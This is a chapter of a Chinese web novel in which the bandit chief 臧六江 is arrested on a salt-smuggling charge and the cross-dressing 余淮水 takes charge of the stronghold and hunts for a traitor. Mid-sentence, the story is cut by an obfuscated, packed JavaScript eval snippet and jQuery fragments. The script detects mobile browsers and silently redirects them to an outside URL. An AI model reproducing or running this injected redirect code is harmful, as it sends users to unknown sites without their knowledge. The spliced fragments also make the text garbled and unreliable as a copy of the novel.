“不会的。”
刘翠翠心里也有瞬间的怀疑,可她总觉得不该如此。
白日里她们才陪余淮水下山去寻了大当家,两人蜜里调油的模样不是假的,况且若余淮水真与大当家翻了脸,以大当家的性子,不会那般轻易地被衙役制服。
这其中,应当是有蹊跷的。
可并不是所有人都像翠翠这般想,男丁那边传来几声不满的吆喝,有性子急的见臧六江被绑,怒急了便要推开衙役向前冲去。
衙役自然不会轻易放他们过去,都横起大刀板子来挡在身前,一时间骂声,喊声不断,眼看马上就要乱起来了。
“老爷,咱们既然已经抓了臧六江,这趟的目的也就达到了,不如先回府衙歇口气?”
那师爷见院里嘈杂起来,劝朱有德赶紧回去,以防这些土匪暴起再出事端。一旁的臧六江仿佛丢了全身的武艺,失魂落魄地被一众衙役押跪在地。
余淮水攥着大黑的缰绳,有些担忧地望着他的方向。
臧六江仰起头来,与余淮水远远的对了个视线,随后他眨眨眼,朝余淮水一歪脑袋,露出发冠上的竹签来。
瞧他那副模样,余淮水不由得勾了勾嘴角。
“你给我等着!”
臧六江还嫌不够,突然对着余淮水扬声喝道,衙役还当他在恐吓余淮水,连忙骂着制止,只有余淮水知道,他这是在拐弯抹角的调情。
“那好,让差役都轮换着把这里看管起来,给我仔细地搜,”
面对师爷提议,朱有德高耸着两道眉毛,说不尽的得意。
“只要有一袋私盐,我便秉明圣上,砍了这为祸一方的东西!”
朱有德一行人正要离开,余淮水连忙上前拦住他,脸上带着乖顺又讨好的笑:“大人,草民还有一事相求。”
朱有德停下脚,有些不屑地哼了一声。
他还当这小姐是个多孤傲的,刚刚还不肯出来作伪证,眼下还不是要这样谄媚地讨好他。
可他留着余淮水还有用,只得假惺惺地笑着:“小姐还有什么事?”
“咱们这些衙役定是要围了寨子的,还望您告诉衙役一声,我与这些土匪不是一伙的,可别误伤了我。”
“自然自然。”
这样的要求不痛不痒,也在情理之中,朱有德没有不答应的道理。
他朝旁边列队的衙役一招手,一个都头模样的人小跑过来,余淮水装作瑟缩地抬头去看,便见那人正是进寨子时将他押倒在地的男人。
“王为,你带一队衙役将这寨子给我围了,赶明儿天一亮,给我细致地搜!还有,这边这位姑娘要上堂做人证,让你手底下的人都懂事些。”
那名叫王为的男人没什么表情,见余淮水看他,反倒不耐地哼了一声,将头撇到一边去了。
余淮水看在眼里,心里有了些盘算。
交代完,朱有德押着臧六江大摇大摆地离开了寨子,余淮水跟在后头送到寨门,直到被衙役拦住这才停下。
臧六江被扣在笼车里,天已经黑沉了下去,余淮水不知道他有没有回头,一双手藏在袖子里抓的死紧。
“淮水姐姐!”
余淮水重新回到大院,王家妹妹终于忍不住,扑上来牢牢地攥着他的衣袖。
“怎么回事呀!他们怎么把大当家给抓走了?!”
老幼妇孺围在余淮水的旁侧,你一言我一语,都是担忧臧六江的安危。
“淮水...”
翠翠也是满脸的愁色,欲言又止地立在一旁。
“我早说他不是什么好东西!”
土匪堆里传出一声爆喝,周围的人应声看去,那人正是前不久因为强闯姑娘屋门,叫余淮水给教训了一顿的李成。
他一出声,周遭的几个男人立刻附和。
“对!他一来,咱们寨子出了多少事!”
“就是!我看就是他跟官府的人沆瀣一气,把大当家给抓了!”
“这就是个背信弃义的内奸!”
“这寨子里肯定还有不少奸细!我不服!我不认!”
眼见事态愈发混乱,翠翠连忙出声制止,可李成有意要搅乱场面,她的喊声很快被湮没在了人声里。
原本就因为臧六江被抓走而满肚子火气的余淮水静了片刻,一把甩开王家妹妹的拉拽。
他快跑着冲进刚刚朱有德待过的屋舍,臧六江那把虎头苗刀还笔直地钉在书案上。
余淮水一拉没有拉动,他气急了,一跃爬上桌面,硬是踩着桌沿,将那把刀生生从木板间扯了出来。
随后,他仰身发力地扬起刀来,猛地一刀斩在了那张已经裂开一道缝隙的书案上。
一声巨响,那桌案从正中爆裂开来,断裂的木板稀里哗啦掉了满地,见势如此,场面一时安静下来。
“都不喊了?那就听我说!”
余淮水拖着刀走到屋阶下,他刚刚太过用力,被刀柄反震震得两手哆嗦个不停,他的虎口生疼,大概是见了血了。
“臧六江的命就捏在咱们手里,若是再有生事的,外头就是衙役,想要投诚,现在就去!”
整个院里鸦雀无声,余淮水觉得自己喉头有些腥甜,硬是把涌上来的酸涩给咽了回去。
“没人去是吧?官府说臧六江掺和了倒卖私盐,林大头!”
林大头被点名,慌里慌张地跑出人群,他莫名觉得眼前的余淮水有些吓人,挺怂地应声:“哎,嫂...嫂夫人,怎么了?”
“他卖了没有!”
“这...这盐还得倒卖呢?咱们也不清楚啊...”
林大头支支吾吾地否认,的确是从未听过什么卖盐,他与臧六江最亲近,若他都没听过,那臧六江就肯定没做过。
“你说什么便是什么?”李成又一次怪腔怪调地开了口:“你有什么证据?”
对啊,证据。
在场除了余淮水,没人再听见那朱有德的话,若拿不出证据,余淮水的话便永远存疑。
余淮水的目光突然落在了李成身上,冷幽幽的带着些打量。
“林大头。”
某些东西在脑海里串联起来,余淮水突然扬声道:“你听我吩咐吗?”
“...我听!”
白日余淮水才刚去茶楼捉了奸,林大头看在眼里,自然相信余淮水对大当家是有情的。
“好。”余淮水一指人堆儿里的李成:“把他。”
又一指他身边扎堆的一圈人:“还有他们,全给我绑了!”
林大头毫不迟疑,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061570|160945||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
朝着自家几个弟兄一扬下巴,立刻便有几个粗壮的汉子上前去逮李成几人。
“林大头你个王八蛋!你昏头了?你怎么帮着一个奸细!”
李成嘴上厉害,可细胳膊细腿连余淮水都敌不过,三两下便被几人捆了,他周围一圈也没有能打的,不多时便被林大头一伙捆的结结实实。
“王家妹妹。”
余淮水忽然转头看向一旁哭花了脸的王家妹妹,口气柔和下来:“你家柴火垛底下的几件衣裳,家里烧了没有?”
王家妹妹直打哭嗝,可她还是努力喘匀了气,仔细地回忆。
“还没有,我爹娘说留着那两件衣裳,好补了给我弟弟穿,还没动呢....”
“翠翠,你带几个人陪着她去将那几件衣裳拿来。”
翠翠连连点头,带着王家妹妹和她爹娘往她家里走去,余淮水目送他们离开,回头看向还在不断咒骂的李成。
“其余还有不肯服的,都跟我过来。”
夜里降了温,呼啸的冷风刮过屋檐,发出阵阵哀泣般的风鸣,松树簌簌,月光穿过枝丫,在院里投下一片阴影。
余淮水一行人举着火把,押着李成一伙寻到了一间屋前。
“嫂夫人,这就是李成几个住的屋子,他们都没家没口,寨里就安排他们住在一起。”
余淮水瞧了一眼紧锁的大门,心里更加肯定刚刚的猜想,一摆手道:
“把锁给我砸了,把门打开。”
“你们干什么!”
李成扯着嗓子蹦起来,眼见着是有些慌了,他蹬腿想踹身旁的大汉,那汉子是寨里出了名的凶,一个巴掌上去,直接就打的李成出不了声了。
“干什么?”
余淮水被土匪圈圈簇拥着,他明明穿着裙装,长得也纤细,可火光落在那白净的脸上,却让人平白生出些惧意来。
“不是口口声声喊着寨子里有奸细,好,那便依你,”
看着那被砸开的屋门,余淮水掷地有声道:
“今日夜里细细地搜,给我把这奸细挖地三尺也要翻出来!”
余淮水的嘴角还挂着白日吃过黄糖的甜,此时舔在嘴里,却是满腔的苦。
他拖着苗刀走到李成跟前,垂眼狠狠地盯着这个气焰逐渐萎靡的男人。
“可是李成,若是我从你的屋里翻出一袋盐来,我就撕了你喂狗!”
夜深了,寨门外围满了衙役,他们几米一个将寨子围了个透彻,王为更是领了人在寨门前三班倒的换班把守,没有一个放松大意的。
“都头,你去歇歇吧,这寨子里安静的很,今夜应该不会出事的。”
有衙役来劝王为回去休息,可他却只是双眉紧蹙,注视着寨子灯火明亮的上空。
按理说,寨子里的匪首被抓,夜里是会狠狠地闹上一场的,怎的这寨子里便如此安静?
王为接过一旁手下递来的酒,仰头灌了一口,这酒是差役买来的劣酒,喝着味苦,若不是为了暖身他也不愿多喝。
将酒壶扔给手下,王为还是不大放心,即便寨子里是没有大闹,也该有些动静,他总觉得蹊跷,干脆吩咐一旁的衙役:
“你去找几个人来跟着我进寨子里巡逻,这院里太安静了,我总觉得不太对劲。”